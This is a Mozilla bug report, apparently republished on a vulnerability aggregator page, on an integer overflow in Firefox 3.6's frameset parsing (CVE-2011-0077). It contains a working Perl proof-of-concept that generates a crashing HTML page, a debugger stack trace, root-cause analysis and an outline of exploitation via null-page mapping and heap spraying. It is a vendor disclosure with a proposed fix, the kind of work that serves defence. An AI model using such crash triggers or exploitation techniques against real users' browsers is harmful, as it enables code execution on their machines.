Integer overflow in frameset spec (not bug 576447) w/gcc compiler
- Fixed in 27 days
- Paid in 2.5 years
- Disclosed after 27 days
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 Build Identifier: 3.6.13
When creating a frameset element both a rows and cols spec are parsed by nsHTMLFrameSetElement::ParseRowCol, which limits their sizes to 100'000 elements.
If a frameset spec is created where the product of the rows and cols sizes is >= 2^32 we overflow the PRInt32 numCells:
layout/generic/nsFrameSetFrame.cpp 352 PRInt32 numCells = mNumRows*mNumCols; 369 mChildFrameborder = new nsFrameborder[numCells];
With carefully crafted values for the rows and cols spec this can lead to arbitrary code execution on some platforms.
Perl script to generate POC:
#!/usr/bin/env perl $spec1 = "," x 61750; $spec1 = $spec1 . ""; $spec2 = "," x 69552; $spec2 = $spec2 . ""; print "<html>"; print "<frameset rows='$spec1' cols='$spec2'>
<frame src='example1.com'> <frame src='example2.com'> <frame src='example3.com'> <frame src='example4.com'> <frame src='example5.com'> <frame src='example6.com'> <frame src='example7.com'> </frameset> </html>"; ****************************This POC crashes reliably on my 32 bit linux box with the following stack trace:
Program received signal SIGSEGV, Segmentation fault. nsHTMLFramesetFrame::GetNoResize (this=0xa7edd6b0, aChildFrame=0x0) at nsFrameSetFrame.cpp:1359 1359 nsIContent* content = aChildFrame->GetContent(); (gdb) bt #0 nsHTMLFramesetFrame::GetNoResize (this=0xa7edd6b0, aChildFrame=0x0) at nsFrameSetFrame.cpp:1359 #1 0xb74956a6 in nsHTMLFramesetFrame::CanChildResize (this=0xa7edd6b0, aVertical=1, aLeft=0, aChildX=69553, aFrameset=0) at nsFrameSetFrame.cpp:1375 #2 0xb74957d1 in nsHTMLFramesetFrame::SetBorderResize (this=0xa7edd6b0, aChildTypes=0xa7ceef20, aBorderFrame=0xa7eddcc8) at nsFrameSetFrame.cpp:1452 #3 0xb74970ef in nsHTMLFramesetFrame::Reflow (this=0xa7edd6b0, aPresContext=0xa9c96c00, aDesiredSize=..., aReflowState=..., aStatus=@0xbfffddf4) at nsFrameSetFrame.cpp:1258 #4 0xb74809ed in nsBlockReflowContext::ReflowBlock (this=0xbfffdd00, aSpace=<value optimised out>, aApplyTopMargin=1, aPrevMargin=..., aClearance=0, aIsAdjacentWithTop=1, aLine=0xa7eddaf8, aFrameRS=..., aFrameReflowStatus=@0xbfffddf4, aState=...) at nsBlockReflowContext.cpp:310 #5 0xb747cdbd in nsBlockFrame::ReflowBlockFrame (this=0xa7edd300, aState=..., aLine=..., aKeepReflowGoing=0xbfffdf7c) at nsBlockFrame.cpp:3141 #6 0xb747efe0 in nsBlockFrame::ReflowLine (this=0xa7edd300, aState=..., aLine=..., aKeepReflowGoing=0xbfffdf7c) at nsBlockFrame.cpp:2408 #7 0xb747f4d4 in nsBlockFrame::ReflowDirtyLines (this=0xa7edd300, aState=...) at nsBlockFrame.cpp:1921 #8 0xb747fe68 in nsBlockFrame::Reflow (this=0xa7edd300, aPresContext=0xa9c96c00, aMetrics=..., aReflowState=..., aStatus=@0xbfffe708) at nsBlockFrame.cpp:991 #9 0xb7486bcc in nsContainerFrame::ReflowChild (this=0xa7edd258, aKidFrame=0xa7edd300, aPresContext=0xa9c96c00, aDesiredSize=..., aReflowState=..., aX=0, aY=0, aFlags=<value optimised out>, aStatus=@0xbfffe708, aTracker=0x0) at nsContainerFrame.cpp:800 #10 0xb749f05a in CanvasFrame::Reflow (this=0xa7edd258, aPresContext=0xa9c96c00, aDesiredSize=..., aReflowState=..., aStatus=@0xbfffe708) at nsHTMLFrame.cpp:549 #11 0xb7486bcc in nsContainerFrame::ReflowChild (this=0xa9196bc8, aKidFrame=0xa7edd258, aPresContext=0xa9c96c00, aDesiredSize=..., aReflowState=..., aX=0, aY=0, aFlags=<value optimised out>, aStatus=@0xbfffe708, aTracker=0x0) at nsContainerFrame.cpp:800 #12 0xb74cf130 in ViewportFrame::Reflow (this=0xa9196bc8, aPresContext=0xa9c96c00, aDesiredSize=..., aReflowState=..., aStatus=@0xbfffe708) at nsViewportFrame.cpp:284 #13 0xb74678ea in PresShell::DoReflow (this=0xa8553460, target=0xa9196bc8, aInterruptible=1) at nsPresShell.cpp:7296 #14 0xb746c146 in PresShell::ProcessReflowCommands (this=0xa8553460, aInterruptible=1) at nsPresShell.cpp:7432 #15 0xb746d8f8 in PresShell::FlushPendingNotifications (this=0xa8553460, aType=Flush_InterruptibleLayout) at nsPresShell.cpp:4910 #16 0xb74670c0 in PresShell::ReflowEvent::Run (this=0xa7bf4e90) at nsPresShell.cpp:7106 #17 0xb7c16b50 in nsThread::ProcessNextEvent (this=0xb5ba1330, mayWait=0, result=0xbfffe85c) at nsThread.cpp:527 #18 0xb7be53a3 in NS_ProcessNextEvent_P (thread=0x0, mayWait=0) at nsThreadUtils.cpp:250 #19 0xb7b5ab31 in mozilla::ipc::MessagePump::Run (this=0xb5bcb910, aDelegate=0xb5b3a7c0) at MessagePump.cpp:110 #20 0xb7bb3732 in MessageLoop::RunInternal (this=0xb5b3a7c0) at ./src/base/message_loop.cc:216 #21 0xb7bb3756 in MessageLoop::RunHandler (this=0xb5b3a7c0) at ./src/base/message_loop.cc:199 #22 0xb7bb37cd in MessageLoop::Run (this=0xb5b3a7c0) at ./src/base/message_loop.cc:173 #23 0xb7ab3c44 in nsBaseAppShell::Run (this=0xb5393150) at nsBaseAppShell.cpp:174 #24 0xb7975108 in nsAppStartup::Run (this=0xb312b310) at nsAppStartup.cpp:183 #25 0xb72ada0e in XRE_main (argc=1, argv=0xbfffefc4, aAppData=0xb5b18380) at nsAppRunner.cpp:3483 #26 0x001119e3 in main (argc=1, argv=0xbfffefc4) at nsBrowserApp.cpp:158
Analysis: The POC creates a frameset with 61751 rows and 69553 cols, which overflows to allocate memory for 7 frames.
nsHTMLFramesetFrame::Init uses this 7 value throughout and I can't find any opportunity for a heap overflow there, but nsHTMLFramesetFrame::SetBorderResize uses the mNumRows and mNumCols values to iterate through the cells. (PRInt32 childX = aBorderFrame->mPrevNeighbor + (rowX * mNumCols);)
It passes the computed index to nsHTMLFramesetFrame::CanChildResize, which calls nsFrameList::FrameAt(PRInt32 aIndex) with the out of bounds index:
276 nsFrameList::FrameAt(PRInt32 aIndex) const
277 {
278 NS_PRECONDITION(aIndex >= 0, "invalid arg");
279 if (aIndex < 0) return nsnull;
280 nsIFrame* frame = mFirstChild;
281 while ((aIndex-- > 0) && frame) {
282 frame = frame->GetNextSibling();
283 }
284 return frame;
This will walk off the end of the list and return NULL.
This is then passed to nsHTMLFramesetFrame::GetNoResize without checking for NULL. GetNoResize also performs no NULL check on the pointer it is passed before executing:
1359 nsIContent* content = aChildFrame->GetContent();
(where aChildFrame is a NULL pointer)
If you can map the null page (eg: an older version of linux, not sure about other systems) you could heap spray hoping to control memory just above 0x00000000 to gain control of execution flow.
There may be a more elegant heap overflow possible using the integer overflow but I haven't found one.
The fix would be to limit the size of frameset specs to something way below 100'000, and a null check on the return value of nsFrameList::FrameAt.
Reproducible: Always
Steps to Reproduce:
- Run perl script to generate html file
- Open in browser
Actual Results:
Crash
Expected Results:
Not crash
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A memory corruption bug in Layout: Images, Video, and HTML Frames. Mozilla made it public on 3 February 2011 as CVE-2011-0077.
About Memory corruption
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.